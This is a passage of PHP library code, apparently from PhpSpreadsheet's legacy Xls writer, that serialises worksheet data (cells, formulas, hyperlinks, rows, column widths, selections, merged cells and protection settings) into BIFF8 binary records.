$this->phpSheet; // Storing selected cells and active sheet because it changes while parsing cells with formulas. $selectedCells = $this->phpSheet->getSelectedCells(); $activeSheetIndex = $this->phpSheet->getParentOrThrow()->getActiveSheetIndex(); // Write BOF record $this->storeBof(0x0010); // Write PRINTHEADERS $this->writePrintHeaders(); // Write PRINTGRIDLINES $this->writePrintGridlines(); // Write GRIDSET $this->writeGridset(); // Calculate column widths $phpSheet->calculateColumnWidths(); // Column dimensions if (($defaultWidth = $phpSheet->getDefaultColumnDimension()->getWidth()) < 0) { $defaultWidth = \PhpOffice\PhpSpreadsheet\Shared\Font::getDefaultColumnWidthByFont($phpSheet->getParentOrThrow()->getDefaultStyle()->getFont()); } $columnDimensions = $phpSheet->getColumnDimensions(); $maxCol = $this->lastColumnIndex - 1; for ($i = 0; $i <= $maxCol; ++$i) { $hidden = 0; $level = 0; $xfIndex = 15; // there are 15 cell style Xfs $width = $defaultWidth; $columnLetter = Coordinate::stringFromColumnIndex($i + 1); if (isset($columnDimensions[$columnLetter])) { $columnDimension = $columnDimensions[$columnLetter]; if ($columnDimension->getWidth() >= 0) { $width = $columnDimension->getWidth(); } $hidden = $columnDimension->getVisible() ? 0 : 1; $level = $columnDimension->getOutlineLevel(); $xfIndex = $columnDimension->getXfIndex() + 15; // there are 15 cell style Xfs } // Components of columnInfo: // $firstcol first column on the range // $lastcol last column on the range // $width width to set // $xfIndex The optional cell style Xf index to apply to the columns // $hidden The optional hidden atribute // $level The optional outline level $this->columnInfo[] = [$i, $i, $width, $xfIndex, $hidden, $level]; } // Write GUTS $this->writeGuts(); // Write DEFAULTROWHEIGHT $this->writeDefaultRowHeight(); // Write WSBOOL $this->writeWsbool(); // Write horizontal and vertical page breaks $this->writeBreaks(); // Write page header $this->writeHeader(); // Write page footer $this->writeFooter(); // Write page horizontal centering $this->writeHcenter(); // Write page vertical centering $this->writeVcenter(); // Write left margin $this->writeMarginLeft(); // Write right margin $this->writeMarginRight(); // Write top margin $this->writeMarginTop(); // Write bottom margin $this->writeMarginBottom(); // Write page setup $this->writeSetup(); // Write sheet protection $this->writeProtect(); // Write SCENPROTECT $this->writeScenProtect(); // Write OBJECTPROTECT $this->writeObjectProtect(); // Write sheet password $this->writePassword(); // Write DEFCOLWIDTH record $this->writeDefcol(); // Write the COLINFO records if they exist if (!empty($this->columnInfo)) { $colcount = count($this->columnInfo); for ($i = 0; $i < $colcount; ++$i) { $this->writeColinfo($this->columnInfo[$i]); } } $autoFilterRange = $phpSheet->getAutoFilter()->getRange(); if (!empty($autoFilterRange)) { // Write AUTOFILTERINFO $this->writeAutoFilterInfo(); } // Write sheet dimensions $this->writeDimensions(); // Row dimensions foreach ($phpSheet->getRowDimensions() as $rowDimension) { $xfIndex = $rowDimension->getXfIndex() + 15; // there are 15 cellXfs $this->writeRow( $rowDimension->getRowIndex() - 1, (int) $rowDimension->getRowHeight(), $xfIndex, !$rowDimension->getVisible(), $rowDimension->getOutlineLevel() ); } // Write Cells foreach ($phpSheet->getCellCollection()->getSortedCoordinates() as $coordinate) { /** @var Cell $cell */ $cell = $phpSheet->getCellCollection()->get($coordinate); $row = $cell->getRow() - 1; $column = Coordinate::columnIndexFromString($cell->getColumn()) - 1; // Don't break Excel break the code! if ($row > 65535 || $column > 255) { throw new WriterException('Rows or columns overflow! Excel5 has limit to 65535 rows and 255 columns. Use XLSX instead.'); } // Write cell value $xfIndex = $cell->getXfIndex() + 15; // there are 15 cell style Xfs $cVal = $cell->getValue(); if ($cVal instanceof RichText) { $arrcRun = []; $str_pos = 0; $elements = $cVal->getRichTextElements(); foreach ($elements as $element) { // FONT Index $str_fontidx = 0; if ($element instanceof Run) { $getFont = $element->getFont(); if ($getFont !== null) { $str_fontidx = $this->fontHashIndex[$getFont->getHashCode()]; } } $arrcRun[] = ['strlen' => $str_pos, 'fontidx' => $str_fontidx]; // Position FROM $str_pos += StringHelper::countCharacters($element->getText(), 'UTF-8'); } $this->writeRichTextString($row, $column, $cVal->getPlainText(), $xfIndex, $arrcRun); } else { switch ($cell->getDatatype()) { case DataType::TYPE_STRING: case DataType::TYPE_INLINE: case DataType::TYPE_NULL: if ($cVal === '' || $cVal === null) { $this->writeBlank($row, $column, $xfIndex); } else { $this->writeString($row, $column, $cVal, $xfIndex); } break; case DataType::TYPE_NUMERIC: $this->writeNumber($row, $column, $cVal, $xfIndex); break; case DataType::TYPE_FORMULA: $calculatedValue = $this->preCalculateFormulas ? $cell->getCalculatedValue() : null; if (self::WRITE_FORMULA_EXCEPTION == $this->writeFormula($row, $column, $cVal, $xfIndex, $calculatedValue)) { if ($calculatedValue === null) { $calculatedValue = $cell->getCalculatedValue(); } $calctype = gettype($calculatedValue); match ($calctype) { 'integer', 'double' => $this->writeNumber($row, $column, (float) $calculatedValue, $xfIndex), 'string' => $this->writeString($row, $column, $calculatedValue, $xfIndex), 'boolean' => $this->writeBoolErr($row, $column, (int) $calculatedValue, 0, $xfIndex), default => $this->writeString($row, $column, $cVal, $xfIndex), }; } break; case DataType::TYPE_BOOL: $this->writeBoolErr($row, $column, $cVal, 0, $xfIndex); break; case DataType::TYPE_ERROR: $this->writeBoolErr($row, $column, ErrorCode::error($cVal), 1, $xfIndex); break; } } } // Append $this->writeMsoDrawing(); // Restoring active sheet. $this->phpSheet->getParentOrThrow()->setActiveSheetIndex($activeSheetIndex); // Write WINDOW2 record $this->writeWindow2(); // Write PLV record $this->writePageLayoutView(); // Write ZOOM record $this->writeZoom(); if ($phpSheet->getFreezePane()) { $this->writePanes(); } // Restoring selected cells. $this->phpSheet->setSelectedCells($selectedCells); // Write SELECTION record $this->writeSelection(); // Write MergedCellsTable Record $this->writeMergedCells(); // Hyperlinks $phpParent = $phpSheet->getParent(); $hyperlinkbase = ($phpParent === null) ? '' : $phpParent->getProperties()->getHyperlinkBase(); foreach ($phpSheet->getHyperLinkCollection() as $coordinate => $hyperlink) { [$column, $row] = Coordinate::indexesFromString($coordinate); $url = $hyperlink->getUrl(); if (str_contains($url, 'sheet://')) { // internal to current workbook $url = str_replace('sheet://', 'internal:', $url); } elseif (preg_match('/^(http:|https:|ftp:|mailto:)/', $url)) { // URL } elseif (!empty($hyperlinkbase) && preg_match('~^([A-Za-z]:)?[/\\\\]~', $url) !== 1) { $url = "$hyperlinkbase$url"; if (preg_match('/^(http:|https:|ftp:|mailto:)/', $url) !== 1) { $url = 'external:' . $url; } } else { // external (local file) $url = 'external:' . $url; } $this->writeUrl($row - 1, $column - 1, $url); } $this->writeDataValidity(); $this->writeSheetLayout(); // Write SHEETPROTECTION record $this->writeSheetProtection(); $this->writeRangeProtection(); // Write Conditional Formatting Rules and Styles $this->writeConditionalFormatting(); $this->storeEof(); } private function writeConditionalFormatting(): void { $conditionalFormulaHelper = new ConditionalHelper($this->parser); $arrConditionalStyles = $this->phpSheet->getConditionalStylesCollection(); if (!empty($arrConditionalStyles)) { $arrConditional = []; // Write ConditionalFormattingTable records foreach ($arrConditionalStyles as $cellCoordinate => $conditionalStyles) { $cfHeaderWritten = false; foreach ($conditionalStyles as $conditional) { /** @var Conditional $conditional */ if ( $conditional->getConditionType() === Conditional::CONDITION_EXPRESSION || $conditional->getConditionType() === Conditional::CONDITION_CELLIS ) { // Write CFHEADER record (only if there are Conditional Styles that we are able to write) if ($cfHeaderWritten === false) { $cfHeaderWritten = $this->writeCFHeader($cellCoordinate, $conditionalStyles); } if ($cfHeaderWritten === true && !isset($arrConditional[$conditional->getHashCode()])) { // This hash code has been handled $arrConditional[$conditional->getHashCode()] = true; // Write CFRULE record $this->writeCFRule($conditionalFormulaHelper, $conditional, $cellCoordinate); } } } } } } /** * Write a cell range address in BIFF8 * always fixed range * See section 2.5.14 in OpenOffice.org's Documentation of the Microsoft Excel File Format. * * @param string $range E.g. 'A1' or 'A1:B6' * * @return string Binary data */ private function writeBIFF8CellRangeAddressFixed(string $range): string { $explodes = explode(':', $range); // extract first cell, e.g. 'A1' $firstCell = $explodes[0]; // extract last cell, e.g. 'B6' if (count($explodes) == 1) { $lastCell = $firstCell; } else { $lastCell = $explodes[1]; } $firstCellCoordinates = Coordinate::indexesFromString($firstCell); // e.g. [0, 1] $lastCellCoordinates = Coordinate::indexesFromString($lastCell); // e.g. [1, 6] return pack('vvvv', $firstCellCoordinates[1] - 1, $lastCellCoordinates[1] - 1, $firstCellCoordinates[0] - 1, $lastCellCoordinates[0] - 1); } /** * Retrieves data from memory in one chunk, or from disk * sized chunks. * * @return string The data */ public function getData(): string { // Return data stored in memory if (isset($this->_data)) { $tmp = $this->_data; $this->_data = null; return $tmp; } // No data to return return ''; } /** * Set the option to print the row and column headers on the printed page. * * @param int $print Whether to print the headers or not. Defaults to 1 (print). */ public function printRowColHeaders(int $print = 1): void { $this->printHeaders = $print; } /** * This method sets the properties for outlining and grouping. The defaults * correspond to Excel's defaults. */ public function setOutline(bool $visible = true, bool $symbols_below = true, bool $symbols_right = true, bool $auto_style = false): void { $this->outlineOn = $visible; $this->outlineBelow = $symbols_below; $this->outlineRight = $symbols_right; $this->outlineStyle = $auto_style; } /** * Write a double to the specified row and column (zero indexed). * An integer can be written as a double. Excel will display an * integer. $format is optional. * * Returns 0 : normal termination * -2 : row or column out of range * * @param int $row Zero indexed row * @param int $col Zero indexed column * @param float $num The number to write * @param int $xfIndex The optional XF format */ private function writeNumber(int $row, int $col, float $num, int $xfIndex): int { $record = 0x0203; // Record identifier $length = 0x000E; // Number of bytes to follow $header = pack('vv', $record, $length); $data = pack('vvv', $row, $col, $xfIndex); $xl_double = pack('d', $num); if (self::getByteOrder()) { // if it's Big Endian $xl_double = strrev($xl_double); } $this->append($header . $data . $xl_double); return 0; } /** * Write a LABELSST record or a LABEL record. Which one depends on BIFF version. * * @param int $row Row index (0-based) * @param int $col Column index (0-based) * @param string $str The string * @param int $xfIndex Index to XF record */ private function writeString(int $row, int $col, string $str, int $xfIndex): void { $this->writeLabelSst($row, $col, $str, $xfIndex); } /** * Write a LABELSST record or a LABEL record. Which one depends on BIFF version * It differs from writeString by the writing of rich text strings. * * @param int $row Row index (0-based) * @param int $col Column index (0-based) * @param string $str The string * @param int $xfIndex The XF format index for the cell * @param array $arrcRun Index to Font record and characters beginning */ private function writeRichTextString(int $row, int $col, string $str, int $xfIndex, array $arrcRun): void { $record = 0x00FD; // Record identifier $length = 0x000A; // Bytes to follow $str = StringHelper::UTF8toBIFF8UnicodeShort($str, $arrcRun); // check if string is already present if (!isset($this->stringTable[$str])) { $this->stringTable[$str] = $this->stringUnique++; } ++$this->stringTotal; $header = pack('vv', $record, $length); $data = pack('vvvV', $row, $col, $xfIndex, $this->stringTable[$str]); $this->append($header . $data); } /** * Write a string to the specified row and column (zero indexed). * This is the BIFF8 version (no 255 chars limit). * $format is optional. * * @param int $row Zero indexed row * @param int $col Zero indexed column * @param string $str The string to write * @param int $xfIndex The XF format index for the cell */ private function writeLabelSst(int $row, int $col, string $str, int $xfIndex): void { $record = 0x00FD; // Record identifier $length = 0x000A; // Bytes to follow $str = StringHelper::UTF8toBIFF8UnicodeLong($str); // check if string is already present if (!isset($this->stringTable[$str])) { $this->stringTable[$str] = $this->stringUnique++; } ++$this->stringTotal; $header = pack('vv', $record, $length); $data = pack('vvvV', $row, $col, $xfIndex, $this->stringTable[$str]); $this->append($header . $data); } /** * Write a blank cell to the specified row and column (zero indexed). * A blank cell is used to specify formatting without adding a string * or a number. * * A blank cell without a format serves no purpose. Therefore, we don't write * a BLANK record unless a format is specified. * * Returns 0 : normal termination (including no format) * -1 : insufficient number of arguments * -2 : row or column out of range * * @param int $row Zero indexed row * @param int $col Zero indexed column * @param int $xfIndex The XF format index */ public function writeBlank(int $row, int $col, int $xfIndex): int { $record = 0x0201; // Record identifier $length = 0x0006; // Number of bytes to follow $header = pack('vv', $record, $length); $data = pack('vvv', $row, $col, $xfIndex); $this->append($header . $data); return 0; } /** * Write a boolean or an error type to the specified row and column (zero indexed). * * @param int $row Row index (0-based) * @param int $col Column index (0-based) * @param int $isError Error or Boolean? */ private function writeBoolErr(int $row, int $col, int $value, int $isError, int $xfIndex): int { $record = 0x0205; $length = 8; $header = pack('vv', $record, $length); $data = pack('vvvCC', $row, $col, $xfIndex, $value, $isError); $this->append($header . $data); return 0; } const WRITE_FORMULA_NORMAL = 0; const WRITE_FORMULA_ERRORS = -1; const WRITE_FORMULA_RANGE = -2; const WRITE_FORMULA_EXCEPTION = -3; private static bool $allowThrow = false; public static function setAllowThrow(bool $allowThrow): void { self::$allowThrow = $allowThrow; } public static function getAllowThrow(): bool { return self::$allowThrow; } /** * Write a formula to the specified row and column (zero indexed). * The textual representation of the formula is passed to the parser in * Parser.php which returns a packed binary string. * * Returns 0 : WRITE_FORMULA_NORMAL normal termination * -1 : WRITE_FORMULA_ERRORS formula errors (bad formula) * -2 : WRITE_FORMULA_RANGE row or column out of range * -3 : WRITE_FORMULA_EXCEPTION parse raised exception, probably due to definedname * * @param int $row Zero indexed row * @param int $col Zero indexed column * @param string $formula The formula text string * @param int $xfIndex The XF format index * @param mixed $calculatedValue Calculated value */ private function writeFormula(int $row, int $col, string $formula, int $xfIndex, mixed $calculatedValue): int { $record = 0x0006; // Record identifier // Initialize possible additional value for STRING record that should be written after the FORMULA record? $stringValue = null; // calculated value if (isset($calculatedValue)) { // Since we can't yet get the data type of the calculated value, // we use best effort to determine data type if (is_bool($calculatedValue)) { // Boolean value $num = pack('CCCvCv', 0x01, 0x00, (int) $calculatedValue, 0x00, 0x00, 0xFFFF); } elseif (is_int($calculatedValue) || is_float($calculatedValue)) { // Numeric value $num = pack('d', $calculatedValue); } elseif (is_string($calculatedValue)) { $errorCodes = DataType::getErrorCodes(); if (isset($errorCodes[$calculatedValue])) { // Error value $num = pack('CCCvCv', 0x02, 0x00, ErrorCode::error($calculatedValue), 0x00, 0x00, 0xFFFF); } elseif ($calculatedValue === '') { // Empty string (and BIFF8) $num = pack('CCCvCv', 0x03, 0x00, 0x00, 0x00, 0x00, 0xFFFF); } else { // Non-empty string value (or empty string BIFF5) $stringValue = $calculatedValue; $num = pack('CCCvCv', 0x00, 0x00, 0x00, 0x00, 0x00, 0xFFFF); } } else { // We are really not supposed to reach here $num = pack('d', 0x00); } } else { $num = pack('d', 0x00); } $grbit = 0x03; // Option flags $unknown = 0x0000; // Must be zero // Strip the '=' or '@' sign at the beginning of the formula string if ($formula[0] == '=') { $formula = substr($formula, 1); } else { // Error handling $this->writeString($row, $col, 'Unrecognised character for formula', 0); return self::WRITE_FORMULA_ERRORS; } // Parse the formula using the parser in Parser.php try { $this->parser->parse($formula); $formula = $this->parser->toReversePolish(); $formlen = strlen($formula); // Length of the binary string $length = 0x16 + $formlen; // Length of the record data $header = pack('vv', $record, $length); $data = pack('vvv', $row, $col, $xfIndex) . $num . pack('vVv', $grbit, $unknown, $formlen); $this->append($header . $data . $formula); // Append also a STRING record if necessary if ($stringValue !== null) { $this->writeStringRecord($stringValue); } return self::WRITE_FORMULA_NORMAL; } catch (PhpSpreadsheetException $e) { if (self::$allowThrow) { throw $e; } return self::WRITE_FORMULA_EXCEPTION; } } /** * Write a STRING record. This. */ private function writeStringRecord(string $stringValue): void { $record = 0x0207; // Record identifier $data = StringHelper::UTF8toBIFF8UnicodeLong($stringValue); $length = strlen($data); $header = pack('vv', $record, $length); $this->append($header . $data); } /** * Write a hyperlink. * This is comprised of two elements: the visible label and * the invisible link. The visible label is the same as the link unless an * alternative string is specified. The label is written using the * writeString() method. Therefore the 255 characters string limit applies. * $string and $format are optional. * * The hyperlink can be to a http, ftp, mail, internal sheet (not yet), or external * directory url. * * @param int $row Row * @param int $col Column * @param string $url URL string */ private function writeUrl(int $row, int $col, string $url): void { // Add start row and col to arg list $this->writeUrlRange($row, $col, $row, $col, $url); } /** * This is the more general form of writeUrl(). It allows a hyperlink to be * written to a range of cells. This function also decides the type of hyperlink * to be written. These are either, Web (http, ftp, mailto), Internal * (Sheet1!A1) or external ('c:\temp\foo.xls#Sheet1!A1'). * * @param int $row1 Start row * @param int $col1 Start column * @param int $row2 End row * @param int $col2 End column * @param string $url URL string * * @see writeUrl() */ private function writeUrlRange(int $row1, int $col1, int $row2, int $col2, string $url): void { // Check for internal/external sheet links or default to web link if (preg_match('[^internal:]', $url)) { $this->writeUrlInternal($row1, $col1, $row2, $col2, $url); } if (preg_match('[^external:]', $url)) { $this->writeUrlExternal($row1, $col1, $row2, $col2, $url); } $this->writeUrlWeb($row1, $col1, $row2, $col2, $url); } /** * Used to write http, ftp and mailto hyperlinks. * The link type ($options) is 0x03 is the same as absolute dir ref without * sheet. However it is differentiated by the $unknown2 data stream. * * @param int $row1 Start row * @param int $col1 Start column * @param int $row2 End row * @param int $col2 End column * @param string $url URL string * * @see writeUrl() */ public function writeUrlWeb(int $row1, int $col1, int $row2, int $col2, string $url): void { $record = 0x01B8; // Record identifier // Pack the undocumented parts of the hyperlink stream $unknown1 = pack('H*', 'D0C9EA79F9BACE118C8200AA004BA90B02000000'); $unknown2 = pack('H*', 'E0C9EA79F9BACE118C8200AA004BA90B'); // Pack the option flags $options = pack('V', 0x03); // Convert URL to a null terminated wchar string /** @phpstan-ignore-next-line */ $url = implode("\0", preg_split("''", $url, -1, PREG_SPLIT_NO_EMPTY)); $url = $url . "\0\0\0"; // Pack the length of the URL $url_len = pack('V', strlen($url)); // Calculate the data length $length = 0x34 + strlen($url); // Pack the header data $header = pack('vv', $record, $length); $data = pack('vvvv', $row1, $row2, $col1, $col2); // Write the packed data $this->append($header . $data . $unknown1 . $options . $unknown2 . $url_len . $url); } /** * Used to write internal reference hyperlinks such as "Sheet1!A1". * * @param int $row1 Start row * @param int $col1 Start column * @param int $row2 End row * @param int $col2 End column * @param string $url URL string * * @see writeUrl() */ private function writeUrlInternal(int $row1, int $col1, int $row2, int $col2, string $url): void { $record = 0x01B8; // Record identifier // Strip URL type $url = (string) preg_replace('/^internal:/', '', $url); // Pack the undocumented parts of the hyperlink stream $unknown1 = pack('H*', 'D0C9EA79F9BACE118C8200AA004BA90B02000000'); // Pack the option flags $options = pack('V', 0x08); // Convert the URL type and to a null terminated wchar string $url .= "\0"; // character count $url_len = StringHelper::countCharacters($url); $url_len = pack('V', $url_len); $url = StringHelper::convertEncoding($url, 'UTF-16LE', 'UTF-8'); // Calculate the data length $length = 0x24 + strlen($url); // Pack the header data $header = pack('vv', $record, $length); $data = pack('vvvv', $row1, $row2, $col1, $col2); // Write the packed data $this->append($header . $data . $unknown1 . $options . $url_len . $url); } /** * Write links to external directory names such as 'c:\foo.xls', * c:\foo.xls#Sheet1!A1', '../../foo.xls'. and '../../foo.xls#Sheet1!A1'. * * Note: Excel writes some relative links with the $dir_long string. We ignore * these cases for the sake of simpler code. * * @param int $row1 Start row * @param int $col1 Start column * @param int $row2 End row * @param int $col2 End column * @param string $url URL string * * @see writeUrl() */ private function writeUrlExternal(int $row1, int $col1, int $row2, int $col2, string $url): void { // Network drives are different. We will handle them separately // MS/Novell network drives and shares start with \\ if (preg_match('[^external:\\\\]', $url)) { return; } $record = 0x01B8; // Record identifier // Strip URL type and change Unix dir separator to Dos style (if needed) // $url = (string) preg_replace(['/^external:/', '/\//'], ['', '\\'], $url); // Determine if the link is relative or absolute: // relative if link contains no dir separator, "somefile.xls" // relative if link starts with up-dir, "..\..\somefile.xls" // otherwise, absolute $absolute = 0x00; // relative path if (preg_match('/^[A-Z]:/', $url)) { $absolute = 0x02; // absolute path on Windows, e.g. C:\... } $link_type = 0x01 | $absolute; // Determine if the link contains a sheet reference and change some of the // parameters accordingly. // Split the dir name and sheet name (if it exists) $dir_long = $url; if (preg_match('/\\#/', $url)) { $link_type |= 0x08; } // Pack the link type $link_type = pack('V', $link_type); // Calculate the up-level dir count e.g.. (..\..\..\ == 3) $up_count = preg_match_all('/\\.\\.\\\\/', $dir_long, $useless); $up_count = pack('v', $up_count); // Store the short dos dir name (null terminated) $dir_short = (string) preg_replace('/\\.\\.\\\\/', '', $dir_long) . "\0"; // Store the long dir name as a wchar string (non-null terminated) //$dir_long = $dir_long . "\0"; // Pack the lengths of the dir strings $dir_short_len = pack('V', strlen($dir_short)); //$dir_long_len = pack('V', strlen($dir_long)); $stream_len = pack('V', 0); //strlen($dir_long) + 0x06); // Pack the undocumented parts of the hyperlink stream $unknown1 = pack('H*', 'D0C9EA79F9BACE118C8200AA004BA90B02000000'); $unknown2 = pack('H*', '0303000000000000C000000000000046'); $unknown3 = pack('H*', 'FFFFADDE000000000000000000000000000000000000000'); //$unknown4 = pack('v', 0x03); // Pack the main data stream $data = pack('vvvv', $row1, $row2, $col1, $col2) . $unknown1 . $link_type . $unknown2 . $up_count . $dir_short_len . $dir_short . $unknown3 . $stream_len; /*. $dir_long_len . $unknown4 . $dir_long . $sheet_len . $sheet ;*/ // Pack the header data $length = strlen($data); $header = pack('vv', $record, $length); // Write the packed data $this->append($header . $data); } /** * This method is used to set the height and format for a row. * * @param int $row The row to set * @param int $height Height we are giving to the row. * Use null to set XF without setting height * @param int $xfIndex The optional cell style Xf index to apply to the columns * @param bool $hidden The optional hidden attribute * @param int $level The optional outline level for row, in range [0,7] */ private function writeRow(int $row, int $height, int $xfIndex, bool $hidden = false, int $level = 0): void { $record = 0x0208; // Record identifier $length = 0x0010; // Number of bytes to follow $colMic = 0x0000; // First defined column $colMac = 0x0000; // Last defined column $irwMac = 0x0000; // Used by Excel to optimise loading $reserved = 0x0000; // Reserved $grbit = 0x0000; // Option flags $ixfe = $xfIndex; if ($height < 0) { $height = null; } // Use writeRow($row, null, $XF) to set XF format without setting height if ($height !== null) { $miyRw = $height * 20; // row height } else { $miyRw = 0xFF; // default row height is 256 } // Set the options flags. fUnsynced is used to show that the font and row // heights are not compatible. This is usually the case for WriteExcel. // The collapsed flag 0x10 doesn't seem to be used to indicate that a row // is collapsed. Instead it is used to indicate that the previous row is // collapsed. The zero height flag, 0x20, is used to collapse a row. $grbit |= $level; if ($hidden === true) { $grbit |= 0x0030; } if ($height !== null) { $grbit |= 0x0040; // fUnsynced } if ($xfIndex !== 0xF) { $grbit |= 0x0080; } $grbit |= 0x0100; $header = pack('vv', $record, $length); $data = pack('vvvvvvvv', $row, $colMic, $colMac, $miyRw, $irwMac, $reserved, $grbit, $ixfe); $this->append($header . $data); } /** * Writes Excel DIMENSIONS to define the area in which there is data. */ private function writeDimensions(): void { $record = 0x0200; // Record identifier $length = 0x000E; $data = pack('VVvvv', $this->firstRowIndex, $this->lastRowIndex + 1, $this->firstColumnIndex, $this->lastColumnIndex + 1, 0x0000); // reserved $header = pack('vv', $record, $length); $this->append($header . $data); } /** * Write BIFF record Window2. */ private function writeWindow2(): void { $record = 0x023E; // Record identifier $length = 0x0012; $rwTop = 0x0000; // Top row visible in window $colLeft = 0x0000; // Leftmost column visible in window // The options flags that comprise $grbit $fDspFmla = 0; // 0 - bit $fDspGrid = $this->phpSheet->getShowGridlines() ? 1 : 0; // 1 $fDspRwCol = $this->phpSheet->getShowRowColHeaders() ? 1 : 0; // 2 $fFrozen = $this->phpSheet->getFreezePane() ? 1 : 0; // 3 $fDspZeros = 1; // 4 $fDefaultHdr = 1; // 5 $fArabic = $this->phpSheet->getRightToLeft() ? 1 : 0; // 6 $fDspGuts = $this->outlineOn; // 7 $fFrozenNoSplit = 0; // 0 - bit // no support in PhpSpreadsheet for selected sheet, therefore sheet is only selected if it is the active sheet $fSelected = ($this->phpSheet === $this->phpSheet->getParentOrThrow()->getActiveSheet()) ? 1 : 0; $fPageBreakPreview = $this->phpSheet->getSheetView()->getView() === SheetView::SHEETVIEW_PAGE_BREAK_PREVIEW; $grbit = $fDspFmla; $grbit |= $fDspGrid << 1; $grbit |= $fDspRwCol << 2; $grbit |= $fFrozen << 3; $grbit |= $fDspZeros << 4; $grbit |= $fDefaultHdr << 5; $grbit |= $fArabic << 6; $grbit |= $fDspGuts << 7; $grbit |= $fFrozenNoSplit << 8; $grbit |= $fSelected << 9; // Selected sheets. $grbit |= $fSelected << 10; // Active sheet. $grbit |= $fPageBreakPreview << 11; $header = pack('vv', $record, $length); $data = pack('vvv', $grbit, $rwTop, $colLeft); // FIXME !!! $rgbHdr = 0x0040; // Row/column heading and gridline color index $zoom_factor_page_break = ($fPageBreakPreview ? $this->phpSheet->getSheetView()->getZoomScale() : 0x0000); $zoom_factor_normal = $this->phpSheet->getSheetView()->getZoomScaleNormal(); $data .= pack('vvvvV', $rgbHdr, 0x0000, $zoom_factor_page_break, $zoom_factor_normal, 0x00000000); $this->append($header . $data); } /** * Write BIFF record DEFAULTROWHEIGHT. */ private function writeDefaultRowHeight(): void { $defaultRowHeight = $this->phpSheet->getDefaultRowDimension()->getRowHeight(); if ($defaultRowHeight < 0) { return; } // convert to twips $defaultRowHeight = (int) 20 * $defaultRowHeight; $record = 0x0225; // Record identifier $length = 0x0004; // Number of bytes to follow $header = pack('vv', $record, $length); $data = pack('vv', 1, $defaultRowHeight); $this->append($header . $data); } /** * Write BIFF record DEFCOLWIDTH if COLINFO records are in use. */ private function writeDefcol(): void { $defaultColWidth = 8; $record = 0x0055; // Record identifier $length = 0x0002; // Number of bytes to follow $header = pack('vv', $record, $length); $data = pack('v', $defaultColWidth); $this->append($header . $data); } /** * Write BIFF record COLINFO to define column widths. * * Note: The SDK says the record length is 0x0B but Excel writes a 0x0C * length record. * * @param array $col_array This is the only parameter received and is composed of the following: * 0 => First formatted column, * 1 => Last formatted column, * 2 => Col width (8.43 is Excel default), * 3 => The optional XF format of the column, * 4 => Option flags. * 5 => Optional outline level */ private function writeColinfo(array $col_array): void { $colFirst = $col_array[0] ?? null; $colLast = $col_array[1] ?? null; $coldx = $col_array[2] ?? 8.43; $xfIndex = $col_array[3] ?? 15; $grbit = $col_array[4] ?? 0; $level = $col_array[5] ?? 0; $record = 0x007D; // Record identifier $length = 0x000C; // Number of bytes to follow $coldx *= 256; // Convert to units of 1/256 of a char $ixfe = $xfIndex; $reserved = 0x0000; // Reserved $level = max(0, min($level, 7)); $grbit |= $level << 8; $header = pack('vv', $record, $length); $data = pack('vvvvvv', $colFirst, $colLast, $coldx, $ixfe, $grbit, $reserved); $this->append($header . $data); } /** * Write BIFF record SELECTION. */ private function writeSelection(): void { // look up the selected cell range $selectedCells = Coordinate::splitRange($this->phpSheet->getSelectedCells()); $selectedCells = $selectedCells[0]; if (count($selectedCells) == 2) { [$first, $last] = $selectedCells; } else { $first = $selectedCells[0]; $last = $selectedCells[0]; } [$colFirst, $rwFirst] = Coordinate::coordinateFromString($first); $colFirst = Coordinate::columnIndexFromString($colFirst) - 1; // base 0 column index --$rwFirst; // base 0 row index [$colLast, $rwLast] = Coordinate::coordinateFromString($last); $colLast = Coordinate::columnIndexFromString($colLast) - 1; // base 0 column index --$rwLast; // base 0 row index // make sure we are not out of bounds $colFirst = min($colFirst, 255); $colLast = min($colLast, 255); $rwFirst = min($rwFirst, 65535); $rwLast = min($rwLast, 65535); $record = 0x001D; // Record identifier $length = 0x000F; // Number of bytes to follow $pnn = $this->activePane; // Pane position $rwAct = $rwFirst; // Active row $colAct = $colFirst; // Active column $irefAct = 0; // Active cell ref $cref = 1; // Number of refs // Swap last row/col for first row/col as necessary if ($rwFirst > $rwLast) { [$rwFirst, $rwLast] = [$rwLast, $rwFirst]; } if ($colFirst > $colLast) { [$colFirst, $colLast] = [$colLast, $colFirst]; } $header = pack('vv', $record, $length); $data = pack('CvvvvvvCC', $pnn, $rwAct, $colAct, $irefAct, $cref, $rwFirst, $rwLast, $colFirst, $colLast); $this->append($header . $data); } /** * Store the MERGEDCELLS records for all ranges of merged cells. */ private function writeMergedCells(): void { $mergeCells = $this->phpSheet->getMergeCells(); $countMergeCells = count($mergeCells); if ($countMergeCells == 0) { return; } // maximum allowed number of merged cells per record $maxCountMergeCellsPerRecord = 1027; // record identifier $record = 0x00E5; // counter for total number of merged cells treated so far by the writer $i = 0; // counter for number of merged cells written in record currently being written $j = 0; // initialize record data $recordData = ''; // loop through the merged cells foreach ($mergeCells as $mergeCell) { ++$i; ++$j; // extract the row and column indexes $range = Coordinate::splitRange($mergeCell); [$first, $last] = $range[0]; [$firstColumn, $firstRow] = Coordinate::indexesFromString($first); [$lastColumn, $lastRow] = Coordinate::indexesFromString($last); $recordData .= pack('vvvv', $firstRow - 1, $lastRow - 1, $firstColumn - 1, $lastColumn - 1); // flush record if we have reached limit for number of merged cells, or reached final merged cell if ($j == $maxCountMergeCellsPerRecord || $i == $countMergeCells) { $recordData = pack('v', $j) . $recordData; $length = strlen($recordData); $header = pack('vv', $record, $length); $this->append($header . $recordData); // initialize for next record, if any $recordData = ''; $j = 0; } } } /** * Write SHEETLAYOUT record. */ private function writeSheetLayout(): void { if (!$this->phpSheet->isTabColorSet()) { return; } $recordData = pack( 'vvVVVvv', 0x0862, 0x0000, // unused 0x00000000, // unused 0x00000000, // unused 0x00000014, // size of record data $this->colors[$this->phpSheet->getTabColor()->getRGB()], // color index 0x0000 // unused ); $length = strlen($recordData); $record = 0x0862; // Record identifier $header = pack('vv', $record, $length); $this->append($header . $recordData); } private static function protectionBitsDefaultFalse(?bool $value, int $shift): int { if ($value === false) { return 1 << $shift; } return 0; } private static function protectionBitsDefaultTrue(?bool $value, int $shift): int { if ($value !== false) { return 1 << $shift; } return 0; } /** * Write SHEETPROTECTION. */ private function writeSheetProtection(): void { // record identifier $record = 0x0867; // prepare options $protection = $this->phpSheet->getProtection(); $options = self::protectionBitsDefaultTrue($protection->getObjects(), 0) | self::protectionBitsDefaultTrue($protection->getScenarios(), 1) | self::protectionBitsDefaultFalse($protection->getFormatCells(), 2) | self::protectionBitsDefaultFalse($protection->getFormatColumns(), 3) | self::protectionBitsDefaultFalse($protection->getFormatRows(), 4) | 